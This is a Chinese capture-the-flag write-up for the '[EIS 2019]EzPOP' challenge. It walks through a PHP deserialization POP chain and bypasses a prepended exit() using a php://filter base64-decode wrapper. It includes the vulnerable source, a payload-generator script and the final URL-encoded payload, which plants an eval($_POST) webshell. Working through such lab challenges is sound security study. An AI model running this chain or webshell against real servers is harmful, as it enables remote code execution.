[EIS 2019]EzPOP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| <?php error_reporting(0);
class A { protected $store; protected $key; protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; }
public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]);
foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } }
return $contents; }
public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); }
public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); }
public function __destruct() { if (!$this->autosave) { $this->save(); } } }
class B { protected function getExpireTime($expire): int { return (int) $expire; }
public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; }
protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; }
$serialize = $this->options['serialize'];
return $serialize($data); }
public function set($name, $value, $expire = null): bool{ $this->writeTimes++;
if (is_null($expire)) { $expire = $this->options['expire']; }
$expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { } }
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); }
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data);
if ($result) { return true; }
return false; }
}
if (isset($_GET['src'])) { highlight_file(__FILE__); }
$dir = "uploads/";
if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);
|
获取flag
的途径大概只有B::set
中的file_put_contents
1 2
| $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data);
|
但是写入的data
前面跟上了
于是无法通过直接写入PHP代码来实现RCE
但是由于file_put_contents
支持伪协议,可以构造设法使filename
为php://filter/write=convert.base64-decode/resource=shell.php
,通过base64解码破坏掉开头的PHP
set
中filename
的控制
1 2 3 4 5
| public function set($name, $value, $expire = null): bool{ $filename = $this->getCacheKey($name); }
|
filename
由传给set
的name
参数通过getCacheKey
得到
1 2 3
| public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; }
|
getCacheKey
简单地将options['prefix']
同name
拼接,因此令options['prefix']
为''
,name
为'php://filter/write=convert.base64-decode/resource=shell.php'
即可
set
中data
处理
1
| $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
|
PHP的base64_decode
会忽略掉那些非法字符,于是上面的前缀只有php//xxxxxxxxxxxxexit
共21个字符会作为base64被解析
为了使我们经过base64编码之后的木马被顺利解析,需要将前缀被解析的字符凑到4的倍数个,于是data
可以简单地设为'000' . '<base64-encoded-php-code>'
1 2 3 4 5 6 7 8 9 10 11
| $data = $this->serialize($value); protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; }
$serialize = $this->options['serialize'];
return $serialize($data); } data`由`value`参数经过`serialize`的处理得到,而`B`中`serialize`函数通过可变变量调用函数处理`data
|
于是设置options['serialize']
为'strval'
即可原样返回为
A
的处理
B
并不存在可用的魔术方法来在反序列化时执行代码,只能从A
中寻找突破口
1 2 3 4 5
| public function __destruct() { if (!$this->autosave) { $this->save(); } }
|
发现A
有一个__destruct
魔术方法,调用了save
函数
1 2 3 4
| public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); }
|
巧的是save
刚好存在set
函数的调用,令store
为B
即可
set
的name
参数通过key
设置
value
参数为contents
,通过getForStorage
函数获得
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } public function cleanContents(array $contents) { $cachedProperties = array_flip([...]);
foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } }
return $contents; } cleanContents`可通过控制`contents`为空数组来返回空数组,也就是令`cache`为`[]
|
令complete
为'000' . '<base64-encoded-php-code>'
,由于json_encode
不产生base64有效字符,所以不会影响解码
payload生成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php
class A { protected $store; protected $key = 'php://filter/write=convert.base64-decode/resource=shell.php'; protected $expire;
public function __construct() { $this->store = new B(); $this->cache = []; $this->complete = '000PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+'; } }
class B { public function __construct() { $this->options = array( 'prefix' => '', 'serialize' => 'strval' ); } }
print(urlencode(serialize(new A())));
|
其中PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+
为<?php eval($_POST['a']); ?>
的base64编码
运行得到payload
1
| data=O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A39%3A%22000PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8%2B%22%3B%7D
|
参考链接:
https://sora.zip/article/CTF/WriteUp/23-02-27/[EIS%202019]EzPOP.md
Author:
odiws
Permalink:
http://odiws.github.io/2024/08/27/EIS2019-EzPOP/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY?